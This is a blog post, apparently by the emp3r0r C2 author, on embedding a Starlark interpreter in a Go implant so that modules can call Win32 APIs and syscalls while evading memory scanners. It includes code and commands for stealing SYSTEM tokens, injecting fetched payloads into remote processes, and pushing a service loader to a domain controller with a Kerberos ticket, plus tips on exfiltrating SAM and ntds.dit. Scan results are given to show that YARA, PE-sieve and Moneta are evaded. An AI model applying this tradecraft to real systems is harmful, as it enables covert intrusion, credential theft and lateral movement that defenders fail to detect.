Starlark in Go

Why?

Every C2 module system ends up in the same place. You either ship native code (a BOF, a DLL, raw shellcode) and accept that it looks like malware the moment it becomes executable, or you ship a script that needs powershell.exe or python.exe on the target, which is its own kind of loud. I wanted a third option: modules that are plain text, run inside the agent's own process, need no interpreter on disk, and never create an executable memory region.

Starlark gives you exactly that. It's a dialect of Python designed by Google as a configuration language. A configuration language sounds useless, but it's far more powerful than you think; most people just never have a reason to push one past parsing JSON. It's small, deterministic, and embeddable, and the reference implementation, go.starlark.net, is pure Go. That last part is the whole trick for a Go C2: import the interpreter into your agent, hand it a handful of Go functions, and your agent can now execute "Python" that is really just data being walked by code the process already mapped from disk.

emp3r0r has shipped Starlark modules for a while, on both Windows and Linux. I haven't seen another C2 using a scripting language this way as the module layer, so this post is my notes on what it is, why the memory profile is nothing like a BOF, and how the agent became scriptable because of it.

What Starlark is (and is not)

Starlark looks like Python: indentation, def, lists, dicts, string formatting, for/if/while. It is not Python. There's no arbitrary import, no eval, no implicit I/O, and no global mutable state. That's deliberate, because a config language has to be safe to evaluate, and for us the restrictions are the feature. Everything a module can do is something we explicitly exposed to it.

Embedding the interpreter is a normal library call:

thread := &starlark.Thread{Name: "script_engine_thread", Print: ...}
globals, err := starlark.ExecFileOptions(opts, thread, "script.star", src, predeclared)
if mainFn, ok := globals["main"].(starlark.Callable); ok {
    starlark.Call(thread, mainFn, args, nil)
}

predeclared is a StringDict of the functions and modules the script may call. That dictionary is the entire attack surface, and it belongs to us.

How it runs

The execution chain is deliberately boring:

Starlark script bytes
  -> Go Starlark interpreter
  -> a Go builtin (win_call) as the FFI proxy
  -> the real Win32 function
  -> result back into the interpreter

At no point does the script itself become native code. The interpreter sees a call to a function name, the Go implementation of that builtin runs, it calls the real Win32 function, and it hands the result back. The CPU only ever executes the Go binary; the script is data it walks.

Exposing the machine

Running Starlark is the easy part. Making it useful means giving it enough reach to be a real module. emp3r0r registers a built-in table in core/lib/script/api.go:

var builtInAPIs = map[string]StarlarkAPI{
    "read_file": ..., "write_file": ..., "list_dir": ..., "exists": ...,
    "http_get": ..., "http_post": ..., "exec_cmd": ..., "crypto_hash": ...,
    "read_u32": ..., "write_u32": ..., "read_u64": ..., "read_ptr": ...,
    "read_wstring": ..., "read_cstring": ..., "read_ansi_string": ...,
    "utf16_ptr": ..., "cstring_ptr": ..., "ansi_ptr": ...,
    "win_call": ..., "win_alloc": ..., "win_free": ..., "win_read_mem": ...,
    "current_token": ...,
    "sys_call": ..., "sys_alloc": ..., "sys_free": ..., "sys_read_mem": ...,
}

The built-in API registry

On top of that there is an agent module exposing the Go agent's own internals: agent.sys_info, agent.user, agent.container, agent.has_root, agent.exec_shell, agent.exec_python, agent.exec_powershell, agent.exec_batch, agent.sign, agent.tag, agent.uuid, agent.touch_file, and agent.fetch_file.

The pieces that make real exploitation possible are the two native bridges and the raw memory primitives: win_call and sys_call.

win_call: native APIs without native code

win_call invokes any exported function of any DLL:

res = win_call(
    "advapi32.dll", "OpenProcessToken", h_process, TOKEN_QUERY, h_token_ptr
)
h_token = read_ptr(h_token_ptr, 0)

whoami.star calling win_call

On the Go side every call takes the same path. Resolve the DLL and procedure lazily through a windows.LazyDLL cache, convert the Starlark arguments (ints, UTF-16 strings, bools, None) into uintptrs, call the function through a VEH-protected wrapper, and return a dict:

dict.SetKey(starlark.String("r1"), starlark.MakeUint64(uint64(r1)))
dict.SetKey(starlark.String("r2"), starlark.MakeUint64(uint64(r2)))
dict.SetKey(starlark.String("error"), starlark.String(errStr))
dict.SetKey(starlark.String("err_code"), starlark.MakeUint64(errCode))

starlarkWinCall in Go

Notice what did not happen. The script asked for OpenProcessToken; the Go binary called it. No shellcode, no LoadLibrary from the script, no executable allocation. The native instruction pointer never leaves the agent's own image. win_alloc hands out ordinary PAGE_READWRITE scratch pages for passing structures around, and win_read_mem copies from them back into a Starlark list of bytes.

That's the entire premise: the script is a program for the Go interpreter, and the interpreter is the only thing executing.

sys_call: the same trick on Linux

Windows gets most of the attention because that's where the tokens and the DLLs live, but nothing about this is Windows-specific. The Linux counterpart to win_call is sys_call, and it does the same job: a module makes raw kernel calls without containing a single byte of machine code it has to execute itself.

fd = sys_call("openat", -100, "/etc/passwd", 0, 0)["r1"]

buf = sys_alloc(4096)
n = sys_call("read", fd, buf, 4096)["r1"]
data = sys_read_mem(buf, n)
sys_free(buf)

sys_call accepts a syscall number or a name, plus up to six arguments, and converts Starlark ints, strings, bools, None, and byte lists into the right register layout. It returns {r1, r2, errno, error}. The names are registered per architecture (openat on amd64, open on 32-bit), so the same module can spell a syscall by name instead of hardcoding a number. sys_alloc, sys_free, and sys_read_mem are the Linux mirrors of the win_* trio, built on mmap/munmap and process_vm_readv.

Same argument as Windows: the script describes a syscall, the Go agent makes it, and the only image the CPU runs is the interpreter's. There's a certain irony in memfd_create being one of the syscall names you can call from a Starlark module. You can, but the entire point of this exercise is that you no longer need to.

Does it actually work?

Yes, and you can see it side by side. A Starlark whoami and a BOF whoami produce identical output because they call the same Windows APIs under the same token.

Starlark whoami output

BOF whoami output

I also built a standalone debug tool, starlarkrunner, which runs a .star file exactly the way the agent does (script.Run), optionally under a netonly session with an imported ticket. It exists so you can diff the Starlark path against the COFF path and debug impersonation without a live C2. A module is a .star file plus a config.json entry of type starlark; the agent fetches the file over the existing C2 channel and runs it from memory.

Both execution paths are thin wrappers. The BOF path loads the COFFLoader DLL in memory and calls into it; the Starlark path is just script.Run over the fetched bytes.

The BOF runner

The Starlark runner

Why BOFs get caught

If BOFs work, why bother? Because of what a BOF looks like in memory. It's native code the process never mapped from a file. To run it you need an executable allocation, and unbacked executable memory is one of the oldest malware heuristics there is.

I put both payloads through the same scanner suite. One honest caveat before the results: a BOF ordinarily lives for milliseconds, and that short lifetime is exactly what makes it hard to catch, so I deliberately slowed this one down by making it print debug logs and left it resident long enough to scan. Without that trick the comparison would mostly measure luck. There's a second caveat, about the harness itself: to make this easy to reproduce I embedded the COFFLoader DLL and the BOF into a small Go runner and left the DLL mapped for the process's whole life. That's not how the real agent behaves. emp3r0r loads the COFFLoader with memmod.LoadLibrary, calls its LoadAndRun export once, and Free()s the module as soon as the BOF returns, so the DLL only occupies memory while a BOF is actually running. An idle agent that hasn't fired a module has no COFFLoader in it to find. The runner is a debugging tool, and its longer-lived mappings are, once again, generous to the scanner. The BOF is not subtle once it sits still:

LitterBox scan of the BOF

  • YARA matches Windows_Hacktool_COFFLoader_81ba13b8 (severity 100). The loader DLL everyone uses has a signature.
  • PE-sieve reports implanted PE and shellcode, IAT hooks, and modifications.
  • Moneta reports private RWX and "abnormal private executable" regions.
  • Patriot flags "elevated unbacked execute".
  • Hunt-SB flags "abnormal page in callstack" and "module stomping".

A debugger shows why. While a BOF runs, its code lives in private ERW/RWX pages (look at Section:6, ERW-) and the entry point is a heap address with no file backing it:

BOF memory map in x64dbg

The call stack tells the same story. Pause a BOF mid-execution and the frame that is running your payload does not belong to any image:

BOF call stack

The exact signatures differ on Linux, but the idea doesn't: an ELF/COFF loader is still native code executing from a region the process did not load from a file. The millisecond lifetime of a BOF is real protection against a slow scanner, but it does nothing about a scanner that is already watching mmap/mprotect, and it does nothing about memory forensics if the process lives long enough to be dumped.

Why Starlark does not

Now the same suite against starlarkrunner:

LitterBox scan of the Starlark runner

Clean across YARA, PE-sieve, Moneta, Patriot, and Hunt-SB. Zero detections.

The debugger explains it. The script's bytes sit in a normal RW heap buffer (you can read the source text straight out of the memory dump), while every executing instruction is inside starlarkrunner.exe's own image (IMG ER-), backed by a file on disk:

Starlark memory map in x64dbg

The call stack is the other half of the argument. Pause a Starlark module and every frame resolves to the runner, all the way down:

starlark-runner-dbg.go.starlark.net/starlark.call+2E4
starlark-runner-dbg.go.starlark.net/starlark.(*Function).callInternal+2EA8
starlark-runner-dbg.github.com/jm33-m0/emp3r0r/core/lib/script.Run+931
starlark-runner-dbg.main.runStarlarkScript+25
starlark-runner-dbg.runtime.goexit+1

Starlark call stack

There's no RWX, no private executable region, and no unbacked frame in the call stack. A running Starlark module bottoms out in the Go binary the OS mapped normally. The interpreter is a legitimate, widely used engine, and its normal behavior is not a YARA rule.

Be honest about the boundary, though: this makes the engine clean, not your module. The moment a script calls VirtualAlloc(..., PAGE_EXECUTE_READWRITE) (or mprotect(..., PROT_EXEC)) and writes shellcode into it, you've got unbacked executable memory again. thread_inject.star does exactly that on purpose. What changes is that detection now depends on what the module does, not on the bare fact that you ran a module.

Token-aware modules

Windows exploitation is mostly an argument about tokens: which identity is this call running as? A module system that can't answer that is useless for lateral movement, and a module that implements the token plumbing itself is one you have to rewrite every time it changes. emp3r0r puts token context in the module invocation and injects --token, --user, and --ticket into every Starlark, COFF, and DLL module (child-process kinds like powershell and bash can't use a thread token, so they don't get them).

Three ways to get an identity

A stolen token (--token <SID>). steal_token --pid <pid> enables SeDebugPrivilege and SeImpersonatePrivilege, duplicates the target's process token into an impersonation token, and caches it under the user's SID. That SID is the string you pass to --token. It also accepts --token <existing SID>, which impersonates one identity while stealing another, so you can chain through a SYSTEM token to reach a process you couldn't open directly.

A netonly session (--user DOMAIN/user). This is emp3r0r's make_token: the agent creates a netonly logon session for the user, with a dummy password that is never validated, exactly like runas /netonly. It doesn't change the agent's own identity (whoami still reports you), it just makes the credentials available for outbound network connections. What makes it more than a token is that it creates a new logon session in LSASS with its own LUID. Kerberos tickets are bound to a logon session, not a token, so this is the session you import a ticket into. The agent caches the session under DOMAIN/user and registers it, so --token DOMAIN/user addresses it too. --token wins if you pass both.

A Kerberos ticket (--ticket <base64 kirbi>). The agent imports the KRB-CRED into the module's netonly logon session before the module runs, so the module authenticates over the network with the username and ticket instead of a password. This is why --user exists: a Kerberos ticket is bound to a logon session, not a token, so if you don't have a stolen token for the right user, you create a netonly session for them and put the ticket in it. With --ticket alone, the ticket goes into the agent's current logon session.

How the script sees it

The script does none of the above. Token resolution happens before script.Run is called, and the handle is stashed in the Starlark thread's locals. The file and Windows builtins then run inside runWithToken, which locks the OS thread, impersonates for the duration of the call, and reverts:

func runWithToken(thread *starlark.Thread, fn func() error) error {
    token := thread.Local("token")
    ...
    ImpersonateFn(token)   // NtSetInformationThread(ThreadImpersonationToken)
    defer RevertFn()       // set a NULL token, unlock the OS thread
    return fn()
}

The impersonation itself is an indirect NtSetInformationThread call. The OS-thread lock matters for two reasons: a thread token only affects the thread that set it, and Go schedules goroutines across threads, so without the lock the token could be set on one thread and the syscall issued from another.

That's why current_token() exists. The script can't read the agent's private token handle, so the builtin duplicates the effective token and returns it. It prefers the thread token on purpose: while a module is impersonating, a process-token lookup still reports the agent's original identity, so a current_token() that asked the process would hand the module the wrong user with no obvious symptom.

Child processes are the other trap. A thread token is not inherited by CreateProcess, so a module that calls exec_cmd would otherwise spawn as the agent, not as the impersonated user. emp3r0r routes that case through CreateProcessWithTokenW instead (via the ExecWithToken hook), which takes the token as a primary token and launches the child under it.

So a module written entirely in Starlark can steal a SYSTEM token and then observe the world as SYSTEM, and every API it calls after that is unchanged:

steal_token and sa_whoami under S-1-5-18

Making the agent scriptable

The last piece is the agent module. agent.fetch_file is the one I use most: it downloads a file through the existing C2 channel, verifies its checksum, and caches it in the agent's encrypted in-memory filesystem. A Starlark module can therefore pull a payload without opening a new connection, without touching disk, and while inheriting the channel's existing security.

Put current_token() and agent.fetch_file together with win_call and you've got a complete capability in a text file. Here is the core of thread_inject.star:

h_token = current_token()
if h_token == 0:
    return "Fail: cannot open the current token"

payload_bytes = agent.fetch_file(
    file_to_download=payload_file,
    checksum=checksum,
)
if not payload_bytes:
    return "Fail: fetch_file failed for " + payload_file

err = inject_remote(pid, payload_bytes)

thread_inject.star

Underneath, inject_remote is VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread, all through win_call, all under the operator-assigned token. No compilation, no COFF loader, no DLL on disk, and the operator can hot-patch the module by editing a .star file and re-running it while the beacon stays up.

That's what "scriptable agent" actually buys you. The agent stops being a fixed menu of compiled modules and becomes a runtime with a Python-shaped control plane over its own internals, and the operator writes modules against it.

The emp3r0r console running modules

Real use cases

The API only matters if it solves real problems, so here are two modules I actually run. Both are written entirely in Starlark.

cifs_upload: pushing files to a host with no agent

cifs.star backs three modules, cifs_upload, cifs_download, and cifs_rm, all over plain Win32 file I/O. This is the module from my constrained delegation post, where it drops a service loader onto the DC through C$ using an Administrator cifs ticket:

cifs_upload --ticket '<TGS base64>' --src 'memfs:///a2_svc.exe' --dest '\\winterfell\c$\a2_svc.exe' --user 'NORTH/Administrator'

cifs_upload pushing a payload to the DC

There is no native payload behind those flags. The whole module is Starlark plus win_call:

  • The source can be memfs:/// (the agent's encrypted in-memory filesystem), a local path, or an http(s):// URL.
  • The remote directory chain is created with CreateDirectoryW, the file is opened with CreateFileW, and the payload is written in 1 MB WriteFile chunks (download is the same loop with ReadFile).
  • The upload is optionally re-read and size-checked, and cleanup is DeleteFileW/RemoveDirectoryW.
res = win_call("kernel32.dll", "WriteFile", h, buf + off, n, written_ptr, 0)
if res["r1"] == 0:
    return off, "WriteFile at offset %d: %s" % (off, fmt_winerr(res))

None of that creates executable memory. The script's bytes sit in the Go heap, and every CreateFileW/WriteFile/CloseHandle is the Go agent talking to the kernel on the script's behalf.

The token model is the interesting part, because the script does not implement it at all: --token/--user/--ticket are resolved before script.Run, and runWithToken impersonates per call, so the SMB redirector opens its session as the assigned identity the first time the UNC path is touched. The same cifs.star works with a stolen DA token or a Kerberos TGS. Use cifs_download to pull SAM or ntds.dit back into memfs, and cifs_rm to clean up.

One detail from the source that's worth stealing: for a ticket/PTT flow, use the target hostname (\\DC01.corp.local\...) so the redirector requests cifs/<hostname> and matches the imported ticket. An IP literal forces NTLM, which only works when the logon session has real credentials, not the dummy password of a netonly session.

sa_*: situational awareness for free

The whole SA set is Starlark too: sa_whoami, sa_netstat, sa_ldapsearch, sa_schtasks, sa_dir, and the rest. That's why the delegation walkthrough can run sa_dir --path '\\winterfell\c$\*' --user 'NORTH/Administrator' --ticket '<TGS base64>' with no special handling. The module just calls win_call-backed APIs, and runWithToken makes them run as the ticket's identity. Write one good runWithToken, and about seventy modules become token-aware for free.

Module packaging, briefly

A module is a directory with a config.json and one or more .star files. The relevant part of the config:

{
  "name": "thread_inject",
  "platform": "Windows",
  "fileless": true,
  "agent_config": {
    "exec": "thread_inject.star",
    "files": ["thread_inject.star"],
    "in_memory": true,
    "type": "starlark"
  },
  "invocation": {}
}

The operator side packs the module (gzip), the agent downloads and verifies it, and script.Run executes the .star bytes directly. Multi-file modules can declare companion files, which land in the agent's encrypted memfs and are exposed to the script through module_files plus read_file("memfs:///..."). There are about seventy Starlark modules in the tree today, most of them in the situational-awareness set (whoami, netstat, ldapsearch, schtasks, dpapi, and friends), plus hand-written ones for CIFS, injection, and process info.

Takeaways

  • A scripting language isn't a payload in the memory-forensics sense. The script is data; the interpreter is the executable, and the interpreter is a legitimate image with a file backing.
  • That removes the two heuristics that catch BOFs fastest: private executable memory and unbacked code in the call stack.
  • win_call and sys_call are what make it useful. The script never contains native code, yet it can call any Windows API or any Linux syscall, and on Windows every call is naturally covered by thread impersonation.
  • Token context has to live in the engine, not be bolted onto each module. Once runWithToken wraps every I/O builtin, modules get impersonation for free.
  • This isn't a get-out-of-jail card. If a module allocates and writes shellcode, you're back to being a shellcode loader with extra steps. Starlark raises the floor; it doesn't erase what you build on top of it.

Comments

comments powered by Disqus